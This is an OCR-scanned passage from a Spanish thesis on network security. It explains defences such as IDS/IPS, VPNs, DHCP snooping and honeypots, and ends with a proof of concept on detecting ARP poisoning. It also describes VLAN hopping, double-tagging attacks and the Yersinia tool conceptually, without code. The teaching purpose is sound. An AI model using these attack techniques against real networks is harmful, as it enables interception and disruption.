Mow-05
Moy-06
Maow0?
Mow08
Mow09
Moy 10
Mow11
Mow-12
Mow-13
Mow-14

usados en servidores web
pUbIICOS' Aunque frente a 32 Certificados SSL vdlidos

otros datos de este mismo afio

como que un 95% de los servidores HTTPS son vulnerables a ataques MitM simples no
deja de darnos la confianza de que poco a poco se esta concienciando a las personas,

aungue sea por presion, a saber manejarse por la red de forma segura.

Hay que tener en cuenta que implementar seguridad tiene un coste que aunque no sea
tangible esta ahi: si el coste de la seguridad estd muy por encima del riesgo que se quiere
asumir es probable que no compense aplicar determinadas medidas de seguridad.
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Volviendo al ejemplo del pequefio comercio online, una persona que posea una tienda
sobre un CMS conocido posiblemente no estara interesada en tener, por ejemplo, un
sistema de deteccion de intrusos si:

1. Nodispone de los conocimientos técnicos necesarios para entender los registros
2. No dispone de capital para su mantenimiento
3. No le preocupa que su sistema sea vulnerable, confia en las pasarelas de pago

Por este tipo de situaciones debemos ser capaces de ofrecer soluciones adaptables al
problema que se manifieste. En este capitulo se veran los métodos mas comunes para
protegerse contra los anteriores ataques expuestos en los apartados anteriores: en el
primer apartado veremos lo que no se debe hacer y lo que es conveniente, en el
segundo, tercero y cuarto apartado veremos técnicas concretas para evitar algunos de
los ataques vistos, en el quinto apartado hablaremos sobre los honeypots y su utilidad
y en el Ultimo apartado se hard una prueba de concepto sobre como prevenir ser
“envenenado”.

4.1 - Seguridad por oscuridad y otras medidas no recomendables

Es un hecho que cualquier técnica que obstruya la recoleccién de informacién del
atacante es buena para un sistema, tanto si hablamos de paquetes cifrados como de un
firewall bien configurado. Sin embargo, hay cierta tendencia a creer en la efectividad de
algunas técnicas que, aunque aparentan ser Utiles, solamente retrasan lo inevitable.

Hablamos por ejemplo de la seguridad por oscuridad donde se pretende que un sistema
sea seguro por el hecho de estar oculto al publico. En principio se pensd que IPv6 seria
mas seguro por el hecho de tener un elevado nimero de nodos en una subred y sin
embargo ya existen ataques como los vistos en el apartado anterior que hacen que no
tenga sentido confiar en que el atacante no sabe nada del sistema.

De forma similar se encuentra la seguridad por minoria; Se piensa que por el hecho de
gue se conozca poco una cierta tecnologia o producto lo convierte en un objetivo poco
atractivo y por lo tanto menos vulnerable. A su vez la seguridad por obsolescencia
intenta usar tecnologia antigua con el mismo propésito. Ambas ideas no parecen malas,
pero hay un pequefio problema: Internet es una gran base de datos y no es demasiado
dificil encontrar documentacién o incluso personas que se presten a vulnerar un sistema
de estas caracteristicas.

Una vez atacado dicho “sistema poco relevante” la seguridad brilla por su ausencia. Se
recomienda solo el uso de estas técnicas como poco mds que ponerle piedras en el
camino a los atacantes, algunos pueden tropezar y otros no.
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Un caso reciente: en Julio de este afio el NIST (Instituto Nacional de Estandares y
Tecnologia), en el documento SP-800-63B sobre autenticacién digital, explica que los
sistemas basados en doble autenticacidn que conllevan un envio de SMS a un dispositivo
movil que no pertenezca a una red de telefonia movil serdn desestimados como una
medida fiable de seguridad. Esto se debe a que dicha autenticacién puede ser
interceptada por ataques MitM en el navegador (MitB: Man in the Browser) o en los
dispositivos maviles.

5.1.3.2. Out-of-Band Verifiers

Due to the risk that SMS messages or voice calls may be intercepted or redirected, implementers of new systems SHOULD carefully consider
alternative authenticators. If the out-of-band verification is to be made using the public switched telephone network (PSTN), the verifier SHALL
verify that the pre-registered telephone number being used is not associated with a VolP (or ather software-based) service It then sends the
SMS or voice message to the pre-registered telephone number Changing the pre-registered telephone number SHALL NOT be possible without
two-factor authentication at the time of the change. OOB using the PSTN (SMS or voice) is deprecated, and may no longer be allowed in
future releases of this guidance.

If out-of-band verification is to be made using a secure application (e.g., on a smart phone), the verifier MAY send a push notification to that
device. The verifier then waits for a establishment of an authenticated protected channel and verifies the authenticator’s identifying key. The
verifier SHALL NOT store the identifying key itself, but SHALL use a verification method such as hashing (using an approved hash function) or
proof of possession of the identifying key to uniquely identify the authenticator. Once authenticated, the verifier transmits the authentication

secret to the authenticator.

33 Texto original SP-800-63B

El acceso fisico tampoco se puede dejar de lado, de nada sirve la seguridad en las
comunicaciones si luego se puede enchufar un portatil en cualquier toma vy acceder a la
red. Proteger el acceso fisico no es simplemente encerrar un servidor en una habitacién,
sino proteger con contrasena el acceso o el arranque, desconectar la red si no esta en
uso, no utilizar software de control remoto debidamente controlado o bloquear las
conexiones de hardware externo como USBs o discos.

Algo que a estas alturas no se deberia decir pero se sigue insistiendo es el uso de
contrasefias seguras. Aunque para la mayoria de los ataques vistos durante el proyecto
el uso de una contraseifia mds o menos segura no importe, se sigue viendo una dejadez
en el uso de contrasefias para servicios importantes. Sin ir mas lejos con la aparicion del
Internet de las Cosas muchos usuarios dejan el acceso a los productos con las
contrasefias de fabrica: admin, root, password, 123456... Esta falta de seguridad puede
dar lugar a escenarios como el DDoS realizado a los servidores de Dyn en octubre de
2016, que aprovecharon la falta de seguridad en estos dispositivos para lanzar el ataque.

Aunque todo esto se haya reconocido como algo que no debe hacerse para mantener
un sistema o una red segura debemos tener en cuenta que debemos seguir insistiendo
en instruir al usuario medio, ya que para bien o para mal cualquier persona es capaz de
poder administrar un comercio online sin conocimientos técnicos mas alla del de meter
productos en la tienda.
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4.2 - IPS, IDS y WAF

Si nos paramos a pensar un poco en codmo esta construido todo el proceso de
intercambio de una comunicacion entre dos maquinas no sera dificil darse cuenta de las

Ill

similitudes con la seguridad tradicional “pre-computadoras”. Las redes funcionan como
una serie de edificios, cada uno con distintas plantas (segmentos) y habitaciones
(nodos), y como todos los edificios necesitan algo que les garantice un minimo de

seguridad como pueden ser sistemas IDS, IPS y WAF.

Un sistema de deteccidn de intrusos (IDS) es un proceso o dispositivo activo que analiza
la actividad del sistema y de la red por entradas no autorizadas o actividades maliciosas.
La forma en que un IDS detecta las anomalias pueden variar ampliamente. Un IDS
protege a un sistema contra ataques, malos usos y compromisos, monitorear la
actividad de la red, auditar las configuraciones de la red y sistemas por vulnerabilidades,
analizar la integridad de los datos, etc.

Los tipos mas importantes se conocen como IDS basados en host (HIDS) y basados en
red (NIDS). Un IDS basado en host implica que se implementara un sistema de deteccién
en cada nodo individual, mientras que el IDS basado en red filtrara los paquetes antes
de redirigirlos a nodos especificos.

A diferencia de los IDS los sistemas de prevencion de intrusos (IPS) no se limitan a
escuchar trafico y mandar alertas. Los IPS ofrecen una visién mds profunda de las
operaciones de red y utilizan menos recursos que un IDS, detectan y bloquean cualquier
intento de intrusion, transmisién de cédigo o amenazas sin impacto en su rendimiento.
En comparacidn con la seguridad de nuestro edificio, un IDS podria ser el sistema de
camaras de vigilancia o bien alarmas con sensores de movimiento mientras que un IPS
seria el personal de seguridad que, ademas de vigilar, toma medidas ante los problemas.

y
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/Inhemet\
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y .
Intranet Intranet

34 Esquema de configuracion bdsico IDS (I1zquierda) y IPS (Derecha)
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Ambos sistemas previenen buena parte de los ataques en la capa de red, pero si la
amenaza proviene de fuera (Internet) no estaria mal contar con un firewall para
aplicaciones web (WAF). Los WAF protegen los servidores de aplicaciones web de
determinados ataques especificos en Internet como los ataques vistos anteriormente:
XSS, inyecciones SQL, DosS...

Al igual que los IDS/IPS hay dos tipos: los que residen en la red como un elemento mas
y los que residen dentro del servidor. Hay que tener especial cuidado con la
configuracion de dichos firewalls ya que si no estan configurados correctamente pueden
detectar falsos positivos, lo que implica transacciones denegadas y sus problemas
derivados.

Con respecto a estos sistemas en IPv6 hay malas noticias: como IPv4 no es compatible
con IPv6 muchas de las herramientas que existen no pueden utilizarse de la misma
forma, sin contar que las pocas herramientas que se adaptan a este protocolo no
ofrecen la misma funcionalidad o lo hacen de forma reducida.

Debido a la incorporacién tardia de IPv6 existen varios mecanismos de transicién IPv4 a
IPv6 como el tunneling y las configuraciones de doble pila. En las configuraciones de
doble pila los nodos pueden ser el objetivo tanto de ataques en IPv4 como en IPv6.
Ademas, los firewalls y los sistemas de deteccion de intrusos deben soportar ambos
protocolos y tener las reglas especificas para cada situacion. Por otra parte, el caso del
tunneling puede conducir a la posibilidad de que el atacante se salte los filtros
configurados en la red, por lo que puede ser un problema bastante grave de seguridad.

Por ultimo, hay que recordar que la utilizacion de este tipo de sistemas no inmuniza al
sistema de las amenazas externas, como bien expresa John Lambert, director general en
el Microsoft Threat Intelligence Center:

True #DFIR tales by @JohnLaTwc

What? We bought IPS,
The CEO got spear- IDS, DLP, HIPS, WAF,
phished NGFW, I0Cs, AV, anti-
APT appliances

Did they use ROP? How did they bypass CFG,
ASLR, EMET, EAF, DEP, SEHOP, SafeSEH, GS, and
win32k syscall disabling?

It was a Word doc
with a macro

That wasn’t in any of
our Magic Quadrant
reviews...
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4.3 - Redes privadas virtuales

La definicion de una red privada virtual (VPN) es bien conocida: nos da la posibilidad de
conectar dos redes a través de una red publica como Internet. Se puede establecer una
VPN de acceso remoto usando Internet, punto a punto por medio de un tunel
(encapsulamiento de protocolos) o sobre LAN para intranets. Lo que nos interesa tratar
en este punto son las ventajas de usar VPN para establecer una conexion segura.

Las VPN, como cualquier otra aplicacion que mejore la seguridad, debe garantizar varios
requisitos: la identificacion del usuario, el cifrado de la conversacién, proteger las claves
de cifrado utilizadas, etc.

VPN
Router

VPR
connection

Secured or Secured or
Hidden Metworlk Hidden Metworl

35 Esquema VPN
Para ello se pueden utilizar entre otros los siguientes protocolos:

° : mejora la seguridad a través de algoritmos de cifrado y un sistema de
autenticacion mas exhaustivo. IPsec fue disefiado para proporcionar seguridad
de punto a punto o en modo tunel, donde la seguridad del trafico es
proporcionada a varias maquinas por un unico nodo

° : este protocolo por si solo no presenta unas caracteristicas
criptograficas robustas, por lo que se tomd la decisién de utilizarlo en conjunto
con el protocolo IPsec para proteger los datos.

e PPTP/MPPE: la seguridad de PPTP es nula por lo que se desaconseja su uso. El
fallo es causado por errores de disefio y las limitaciones de la longitud de la clave
en MPPE.

La privacidad es una de las necesidades que promueven el uso de las VPN: son una de
las maneras mas sencillas de proteger los datos en redes potencialmente inseguras y de
las mejores herramientas para mantener comunicaciones andénimas o evitar bloqueos
en determinados paises. Sin embargo las VPN no dejan de ser una conexién donde la
privacidad esta supeditada a la confianza en el servicio que nos suministra la red y donde
la seguridad se pierde si la maquina destino es vulnerable a ataques de terceros.
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Respecto a las VPN sobre IPv6 cada vez mas servicios ofrecen conectividad con este
protocolo, aunque otros insistan en no establecer conexiones por temor a fugas de
datos a través de este protocolo, especialmente con el tema de las “fugas DNS” con los
que algunos ofrecen como solucién desactivar manualmente IPv6. A través de dichas
fugas se podrian llegar a identificar las maquinas enlazadas porque las consultas se
hacen desde fuera de la VPN.

4.4 - DHCP Snooping

DHCP Snooping es una funcionalidad de seguridad a nivel de capa 2, disponible en los
switches. Su objetivo es prevenir que un servidor DHCP no autorizado (Rogue DHCP)
entre en nuestra red y en combinacidén con otras funcionalidades puede evitar varias
técnicas de spoofing.

El funcionamiento se basa en asegurar que solo los servidores DHCP autorizados son
accesibles: cuando hay servidores falsos de DHCP solo determinados puertos del switch
van a poder ofrecer direcciones IP correctas, lo que conlleva la anulacion de los
servidores falsos. Ademas, si la direccion se configura manualmente la IP serd
descartada por el switch. Otro mecanismo que ofrece una solucién similar es en el que
los switches funcionan como agentes de retransmisién de DHCP.

Estos agentes escuchan las peticiones de DHCP que se producen, las hacen suyas y
realizan la solicitud en su nombre a los servidores DHCP. Asi, cuando la respuesta es
recibida se entrega al cliente, anotando la IP y direccién MAC. Con el DHCP Snooping
activado solo una lista blanca de direcciones IP pueden acceder a la red.

Agente de
retransrmision

Servidor
DHCP
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Cuando un switch recibe un paquete de una interfaz no confiable compara la direccién
MAC del emisor con la del cliente DHCP. Si coinciden el switch redirige el paquete
correctamente, en otro caso lo descarta. Los paquetes se descartan concretamente en
alguna de estas situaciones:

e Se recibe un paquete DHCP OFFER, DHCP ACK, DHCP LEASEQUERY desde fuera
de la red.
e Se recibe un paquete de una interfaz no confiable (de la forma comentada
antes).
e Serecibe un mensaje DHCP RELEASE o DHCP DECLINE que tiene su direccion MAC
en los registros del DHCP Snooping pero hay incompatibilidad en la informacion.
e Un agente de retransmision DHCP redirige un paquete que incluye una direccién
IP de otro agente de retransmisién que no es 0.0.0.0 o que incluye la opcién 82
(RFC 3046).
o La opcidn 82 indica al switch que no debe afiadir informacidn adicional
para que el servidor DHCP destino pueda identificar el origen del cliente
en entornos distribuidos.

En la siguiente imagen se puede ver una escena de uso de DHCP Snooping:

DHCP pseudo server
DHCP Snooping
enable

i
,--""‘S'witch DHCP
server

client
-------- + DHCP Reply from DHCP server

— » [DHCP Reply from DHCP pseudo server

DHCP Snooping también funciona en IPv6, aunque los nombres de los mensajes cambian
respecto a los de IPv4 (por ejemplo, ADVERTISE en lugar de DHCPOFFER) pero por lo
demas sigue siendo la mejor opcidn para evitar los dispositivos rogue al margen de
deshabilitar la recepcion de paquetes IPv6.
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4.5 - Honeypots y Honeynets

éPorqué no los busco yo a ellos en vez de que vengan a por mi?

El planteamiento de los honeypots estd en esa cuestién. Un honeypot es un equipo que
se configura vulnerable adrede para que sea atacado. De la misma manera las honeynets
son arquitecturas preparadas explicitamente para atraer sujetos maliciosos, ya sean
bots o personas. Si el atacante ha conseguido entrar en la red (que no deberia tener
ningun tipo de valor mds alla del engaiio) queda supeditado a las acciones que queramos
tomar en su contra, desde la monitorizacion de sus pasos hasta la recopilacién de
informacién para contraatacar.

Existen dos tipos de honeypots clasificados por la interactividad que le dejamos al
atacante:

e Baja interaccion: disefiados para emular servicios vulnerables sin exponer
completamente la funcionalidad del sistema.

e Alta interaccidn: aqui entran las honeynets, ya que cuanto mas complejo sea el
sistema, mas tiene el atacante donde entretenerse. El problema es que crear una
honeynet lleva un proceso de disefio previo para que no pueda haber un
descontrol.

Lo interesante de los honeypots, ya sean de baja o alta interaccién, es que podemos ser
capaces de ver en vivo y en directo cdmo intentan vulnerar nuestro sistema, lo que los
convierte en una fuente de informacidn muy buena para aprender y mejorar siempre y
cuando tengamos nuestro sistema bajo control.

Hay cierta polémica con el uso de honeypots referentes a la privacidad: si un atacante
genera trafico en tu sistema, ése estd accediendo ilegalmente a datos personales? éQué
pasa si el atacante es un agente de la autoridad? ¢éEn qué momento acaba la
monitorizacién?

"Es curioso este tema.

De hecho, creo que no deberiamos de tener ni casa ni hogar, no vaya a
ser que un ladrdn entre a robar y se le caiga el DNI o el mévil sin querer y
estemos violando su privacidad :)"

Anodnimo en Internet

Una de las soluciones que se proponen para evitar este problema es avisar sin
posibilidad de confusidon que el sistema estd siendo monitorizado. De la misma forma
gue un usuario puede aceptar unos términos y condiciones de uso de un servicio con un
clic, el atacante se expone a ser monitorizado y da su consentimiento sobre la utilizacién
de sus datos personales.
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4.6 - PoC: Prevencion y deteccion de ARP Poisoning

Para este ejemplo vamos a usar la red fuera de la virtualizacion, es decir, vamos a
interceptar el trafico entre el host principal e Internet utilizando una maquina virtual.
Dicha maquina hard el ataque usando Cain&Abel, una suite cuyo propdsito es la
recuperacién de contrasefias en sistemas Windows y que en su ultima versién
implementa una funcién de envenamiento ARP.

_J;ﬁ

. —~ f PC-PT
— 192 163.1.38 Atacante

Cloud-FT 1541 \ .
192.168.1.1 -|

Internet

PC-P‘T
192.168.1.34 Victima

El envenenamiento ARP es el ABC de los ataques MitM y por ende cada vez es mas
sencillo hacerlo con menos conocimientos técnicos. Para prevenir que cualquiera sea
capaz de leer nuestro trafico es conveniente seguir una serie de indicaciones que nos
ayuden a controlar donde nos conectamos y sobre todo fijarse en los detalles que
pueden pasar desapercibidos.

Una forma muy sencilla de prevenir dichos ataques es configurando direcciones
estdticas para que el sistema no acepte informacion falsificada. Si el sistema no acepta
paquetes ARP Reply porque ya se han configurado los caminos de comunicacion el
problema se corta de raiz. El problema con esta solucién es el escenario de
mantenimiento que conlleva, por lo que solo se deberia centrar en proteger aquellas
direcciones mas significativas que suelen ser fijas.

Sabemos por lo visto anteriormente que cuando se realiza un envenenamiento el equipo
del atacante funciona como un repetidor por el que pasa el trafico, pudiendo este
incluso reconducir las peticiones a otros lugares o denegar el servicio, lo que conlleva
una caida del rendimiento de la red en general, por lo que debemos ser cautelosos
cuando notemos que el servicio al que nos conectamos no funciona todo lo bien que
deberia funcionar.

El ejemplo mas ilustrativo es la falta de imagenes al navegar por la web, como se ve en
la pagina siguiente:
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1lr Me gusta esta pagina g _
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36 Facebook no carga bien las imdgenes, é¢es culpa de sus servidores? Hora de sospechar

Con una pequefia prueba en consola deberiamos comprobar si estamos siendo
atacados: arp -a

37 Dos direcciones IP con la misma MAC = Peligro

Otra forma es verlo a través de Wireshark o similar, pero para no estar siempre
comprobandolo a mano aqui entran en juego los sistemas de deteccidn de intrusos. Para
esta prueba vamos a utilizar Marmita.

Marmita es una aplicacion para detectar envenenamientos ARP desarrollada a partir de
un proyecto de final de Master de unos estudiantes en Madrid. Al iniciarse Marmita se
crea una tabla ARP virtual mientras que se pone a la escucha en la interfaz de red
indicada. Si llega un nuevo paquete ARP busca dos IP con la misma MAG, si se da el caso
envia paquetes ARP Request de comprobacién y si se da la existencia del ataque lanza
un aviso. Simple pero efectiva.

. Configuration {3 About
Realtek PCle GBE Famity Controller - 192.168.1.34 ~ = | Stop Detection

Main  History Attacks  Am Info  DHCP Info  Logs

You are being attacked!!

Type:  ARP Poisoning
IP: 192.168.1.38

MAC: 00:0c:29:00:99-ee

Date:  18/09/2016 - 17:39:09

Name: W7-PC

38 Marmita detecta un ataque e informa quién lo realiza
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5 - Analisis de redes segmentadas

Cuando se habla de red segmentada el primer pensamiento se asocia automaticamente
al mundo empresarial: distintos edificios, distintos departamentos, distintas
necesidades. La finalidad de la segmentacidn de una estructura de red son muchas como
mantener un control de accesos, localizar servicios en segmentos especificos o aplicar
politicas de red.

Lo mejor de la segmentacion es que se minimiza el nivel de acceso a informacion
sensible para los elementos de la red (aplicaciones, servidores, personas) que no
necesitan dicha informacién, mientras que se permite a los que si lo necesitan, al mismo
tiempo que se les complica la tarea a los posibles atacantes para acceder a los sistemas.
Los firewalls y las VLAN ayudan a particionar la red en zonas mds pequefias, asumiendo
que se han definido reglas para controlar las conexiones. Algunos de los consejos mas
frecuentes para estas redes son:

e Implementar controles sobre diferentes capas de red (cuantas mas capas, mas
dificil sera para los atacantes acceder a la informacion)

e Aplicar las reglas de menor privilegio (el acceso a niveles superiores solo se debe
dar si es absolutamente necesario)

e Segmentacioén del acceso a la informacién basado en los requisitos de seguridad

e Definir listas blancas en lugar de bloquear intentos de acceso no autorizados

2000110024 200.2.2.024
= ==~ ey l’} —
L s A 15.:1’- 1411
1;':1 FF A
| |

= - - - -
o lP"_P:' ‘pCPT PC-PT Q ;]: g;
PCE C- - - -‘ . PC-PT
PC-PT PC-PT
PCO PC1 PC2 o e PCS
192. 168, 10,96/27 192.168.10.0/27 192.168.10.32/27 192.163.10.64/27

39 Configuracion tipica de red segmentada

Es facil ver que la segmentacién de una red en muchas zonas no es una tarea simple,
pero cada pequeno paso controlado es un seguro para prevenir ser atacado. Para lograr
esta tarea es recomendable apoyarse en los distintos estandares que existen para
segmentar redes como el PCI DSS para aquellos que procesan o guardan informacién
sobre tarjetas de crédito y débito, las publicaciones de seguridad del NIST o las guias de
buenas practicas que realizan profesionales del sector.
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Como se ve en la imagen se pueden
establecer diferentes capas de red, Internet Zone
cada una con un porcentaje de

External DMZ

confianza distinto, conectadas a través
de firewalls para evitar las fugas de
informacién. Aparentemente la zona
restringida en el centro del grafico
parece ser la mas “jugosa” para los
atacantes, pero no sirve de nada tener
muchas capas si son capaces de entrar
por la zona de mantenimiento, por lo Sia i
gue hay que tener especial cuidado en

proteger esta.

En este capitulo, el dltimo de este

, . 40 Esquema conceptual de segmentacion
proyecto, se veran las principales
formas de segmentar una red: en el
primer apartado refrescaremos lo que es una VLAN, algo que ya se ve en la universidad,
mientras que en el segundo veremos de que tratan las zonas desmilitarizadas. Por ultimo

un inciso sobre las redes de teléfonos VolP.

5.1-VLAN

Las redes de &area local virtual (VLAN) son un método para crear redes ldégicas
independientes dentro de una misma red fisica. Las VLAN se asocian a menudo con
subredes IP: en principio todos los nodos de una subred pertenecen a la misma VLAN
por defecto, pero es posible que cada uno de esos nodos pertenezca a una VLAN
diferente.

Para que se pueda dar esta situacion se cred el estandar 802.1Q, que consiste en
etiquetar las tramas de tal forma que los nodos puedan ser conocidos y encaminados
por todos los dispositivos de conmutacidn de la red hacia las VLAN correspondientes.
Para aquellos dispositivos que no admiten el estandar se definié lo que se llama VLAN
nativa, que permite a un puerto 802.1Q convivir con un puerto 802.3 con el que
comunica trafico no etiquetado.

En este entorno, un atacante puede aprovechar una mala configuracién de la red para
saltarse la seguridad de una VLAN a través de dos técnicas diferentes: los ataques de
suplantacion y el doble etiquetado.

El ataque de suplantacidon es el mismo que se ha visto en las pruebas, pero se puede dar
el caso de que se realice incluso una suplantacién de switch con ayuda del auto-trunking,
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una opcion configurable en dispositivos Cisco. Este modo permite automatizar la
configuracion de los puertos troncales para VLAN 802.1Q. Si un equipo se encuentra
conectado a un puerto en modo auto-trunking podria hacerse pasar por un conmutador,
o bien conectar a un switch que negocie la conectividad trunk con el otro extremo. De
esta forma el atacante podria pertenecer a cualquier VLAN existente en la red. Este
ataque se deberia realizar en conjunto con una aplicacidn que pueda redirigir el trafico.

Por otro lado, el doble etiquetado consiste en marcar con dos etiquetas de dos VLAN
distintas el trafico generado (la VLAN en la que se encuentra el atacante y otra con
conectividad). El switch que recibe la trama realiza el desencapsulado (la primera
etiqueta) y remite el trafico a través de la otra VLAN. Este ataque es empleado para
ataques de denegacién de servicio, ya que evidentemente la respuesta a estas
peticiones no estd doblemente encapsulada, por lo que no llegard nunca la respuesta. A
este ataque también se le Ilama VLAN Hopping, ya que “salta” de una VLAN a otra para
enviar el paquete.

Access Access o
Attacker VLAN: 1 802.1Q VLAN: 10 Victim

;I:I_ Trunk % g

DOS =) CNEas =)

41 Doble etiquetado de trdfico en VLAN

Yersinia permite hacer ambos ataques, tanto el auto-trunking con DTP mas el
envenenamiento ARP, como los ataques DoS a base de paquetes 802.1Q doblemente
encapsulados. Se recomienda para evitar este primer ataque no configurar el modo de
autonegociacion en los puertos donde vaya a haber equipos conectados.

5.2-DMZ

La zona desmilitarizada (DMZ) es un tipo de configuracion de red local disefiada para
mejorar la seguridad separando Internet y la red privada a ambos lados de un firewall.
Normalmente en los routers instalados en redes domésticas se da la opcién de crear un
intento de DMZ configurdndolo como DMZ Host. Esta configuraciéon abre todos los
puertos TCP/UDP excepto aquellos dirigidos manualmente, cuya funcién principal es
redirigir todo el trafico a un firewall debidamente configurado que se hallard en una IP
determinada, por ejemplo, la direccién donde haya un servidor, que quedara al margen
del resto de la red.
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Sin embargo, esta opcidn “casera” no es una DMZ real ya que no hay ninguna separacion
de la red interna. En redes empresariales se utilizan las DMZ para mantener servidores
publicos sin permitir el acceso a la Intranet. Estas DMZ establecen una subred en la parte
externa del firewall donde los equipos proporcionan una capa de seguridad ya que todas
las peticiones deben pasar antes por la DMZ antes de llegar al firewall. Ademas, se
restringe el acceso entre la Intranet y la DMZ directamente, lo que se traduce en que las
conexiones entre la red interna y externa a la DMZ estdn permitidas, mientras que las
conexiones desde la DMZ solo se permiten hacia la red externa. En otros términos, las
DMZ estdan compuestas por sistemas que se pueden permitir estar expuestos a ataques.

Esta forma de segregar la
red da lugar a la aparicidn de &
diferentes configuraciones \
de red, como el uso de

servidores bastion, sistemas
Red Local

Zona

configurados para la o
Des-militarizada

recepciéon de ataques vy
considerados puntos criticos Muro Cortafuegos
en la red, generalmente con

4 ;4 H Ruteador o ’
mas atencidn a su seguridad Sadenm AGEL
por parte de los
administradores. Hay dos 42 Zona desmilitarizada con un solo firewall

configuraciones  comunes

para estos servidores: la primera requiere que se coloque el servidor entre el firewall
externo y el interno (dentro de una DMZ). La segunda, en casos donde solo haya un
firewall, se colocan en la parte externa haciendo efecto de muralla.

Alguno de los temas a considerar cuando se decide implementar una DMZ son:

e El precio del hardware/software que se necesita para los equipos de la DMZ

e Una sutil bajada de rendimiento (la informacidn recorre mas capas)

e El coste temporal, tanto de implementacién como el tiempo que el sistema no
estd disponible al publico

e El bajo nivel de acceso para los atacantes

Como apunta bien el SANS Institute el coste para implementar una DMZ no es nada
comparable al coste de reparar una red interna comprometida.
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5.3-VolP

La tecnologia VolP conecta dispositivos telefénicos como si fueran cualquier otro nodo
en una red y por lo tanto necesita de los mismos cuidados que cualquier otro elemento.
La comunicacién entre nodos se realiza con protocolos como SIP o H.323. Aunque
generalmente en su implementacién se deben separar la red de voz y la red de datos,
pero en algunas implentaciones es posible usar el teléfono VolP como un repetidor entre
un equipo y un switch para aprovechar el canal de comunicacién, algo que se hace
configurando dos VLAN distintas.

El problema es que dicha implementacion es susceptible a ser atacada con los métodos
tradicionales. Se dice que la seguridad de VolP va ligada a la seguridad de los datos: si
una red tiene vulnerabilidades, la red VolP es el menor de los problemas.

Las amenazas para estas redes se pueden dividir en cuatro categorias:

1. Fraude telefdénico: las escuchas a escondidas (eavesdropping) y el phreaking son
dos tipos de fraude con los cuales se intentaran realizar lamadas no autorizadas,
y sumado a la ingenieria social puede ser algo peligroso si no se detecta a tiempo

2. Malware: los teléfonos VolP siguen siendo igualmente vulnerables a software
malicioso, pudiendo enviar spam o habilitar acceso remoto

3. Denegacidén de servicio: una caida en el sistema de comunicaciones puede ser,
ademas de un caos, una distraccién muy potente para atacar por otros lados

4. Call Hijacking / VolP Tampering: estos ataques tienen como objetivo interrumpir
la comunicacién con ruido para reducir la calidad del servicio. De la misma forma
también es posible interceptar la comunicacién como un MitM comun

Ante estos tipos de ataques, para proteger la red VolP se pueden seguir varios consejos:

e Separar lared de voz de la red de datos con VLAN dedicadas

e Configurar el firewall para VolP y usar IDS/IPS en la medida de lo posible, aunque
pueda conllevar retrasos en las comunicaciones

e Usar listas de control de acceso, cifrado, autenticacion, antivirus y cualquier
mecanismo que verifique con quién se realiza la comunicacién

e Mantener un control sobre la seguridad fisica

e Utilizar un protocolo distinto a SIP o utilizar SIPS (SIP con TLS, por las mismas
razones que usar HTTPS en lugar de HTTP)

e No menos importante, concienciar a los usuarios que no son teléfonos ordinarios
y que estén alerta al hablar con posibles “curiosos”.
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Conclusiones

Una de las primeras reglas para documentarse para un trabajo que concluye afios de
estudio suele ser buscar informacion veraz, de fuentes académicas expertas y
acreditadas y evitar fuentes de informacion subjetivas como foros o paginas personales.
Sin embargo, en lo que respecta a este proyecto, hay que dejar a un lado dichas
convenciones: éesperamos a que un grupo de expertos publique un documento
explicativo sobre una vulnerabilidad o nos fiamos del anénimo que escribié en un foro
como se explota? Un ejemplo perfecto de esto es la vulnerabilidad Dirty COW
descubierta recientemente que tiene hasta pagina web propia para facilitar la
informacién. Como se suele decir “la informacién es poder”, y en estos casos la mayor
fuente de informacién nos la encontramos en los foros especializados, donde el mds
rapido es el que se lleva el premio.

Este proyecto, al margen de detallar minimamente los ataques mas conocidos y algunos
mas especificos, ha propuesto explicar que siguen siendo perfectamente vdlidos aun
habiendo varios anos de existencia desde su descubrimiento. El phishing sigue dando
resultados, los envenenamientos ARP siguen dando resultados, en definitiva cualquier
ataque ya documentado seguird dando resultados mientras el usuario final no sea
consciente de que sin un minimo de atencién sobre su entorno tecnolégico no podra
garantizar el maximo nivel de proteccién frente a amenazas cada vez mas elaboradas.

Que las herramientas, tutoriales, y demds informacién que puedan ayudar a ejecutar un
ataque de inyeccién SQL pueden ayudar a realizar dichos ataques en otros sistemas
gestores de bases de datos, incluso NoSQL. Que aunque el 99,999% de paginas web
incluya un token CSRF en sus cabeceras hay un 0,001% que no lo hacen y estan
expuestas. Que con el desarrollo de IPv6 se exploran nuevas posibilidades de ataques
sobre redes que, de boca de profesionales, “si no se usan, no hay problema con ellas”.

Es por este conjunto de problemas por el que se espera que la demanda de profesionales
en seguridad y ciberataques crezca vistas las grandes filtraciones de datos que se han
producido a lo largo de estos ultimos afios. Como decia al comienzo del proyecto, la
estructura del mismo se ha orientado a la seguridad ofensiva, a generar conocimiento
para puestos que poco a poco van tomando mas peso en las empresas y los gobiernos.

A medida que se ha ido realizando este trabajo he podido comprobar que todo ese
conglomerado de informacién sobre lo que es ser un “hacker” y la idea que la sociedad
tiene de ello es bastante diferente de lo que se cree. Esta idea del “hacker = malo” es
algo contra lo que se lleva combatiendo bastante tiempo desde asociaciones
profesionales hasta personas influyentes dentro de la seguridad informatica, incluso
hackers reales (personas a las que les apasiona la tecnologia y quieren aprender mas
sobre ella) que ven cdmo, a ojos del mundo, son retratados como delincuentes.
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Sin embargo es temible hasta cierto punto lo facil que es utilizar una de cualquiera de
las herramientas vistas y autoconsiderarse hacker. De hecho, durante el trabajo he
intentado no utilizar mucho la palabra hacker puesto que lo explicado son
conocimientos mads propios para desempefiar un trabajo que para denominarse hacker,
aunque practicamente se vea asi para el resto del mundo.

El trabajo de pentester se podria comparar con el de un cerrajero: ambos se dedican a
abrir puertas y reciben su paga por ello. El problema actual es que si a un cerrajero lo
para la policia con una ganzta en la mano probablemente no pase nada, mientras que
si paran a un pentester con un equipo interceptor de sefiales WiFi quizas tendra que dar
explicaciones mas convincentes (y esto no es una conclusidn del proyecto, lo dice un
antiguo profesor de la universidad que se dedica a esto y que sabe bien como estd el
panorama). Parte de lo mostrado en el proyecto hace ver que los ataques son
precisamente como las herramientas del cerrajero, y que al igual que tienen sus malos
usos, también se pueden usar correctamente.

Desde un punto de vista personal este proyecto me ha servido sobre todo para meter la
cabeza en el mundo del hacking ético, donde es posible ganarse la vida jugando a ser el
malo de la pelicula y con la satisfaccién de saber que si encuentras un punto débil es
como encontrar un diamante en bruto; Como un punto de partida desde el cual
comenzar mi carrera profesional y que sirva de referencia durante algunos afios para los
alumnos de la universidad que se interesen por el tema.

root@kali>exit
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Anexo 1: Instalacion del laboratorio

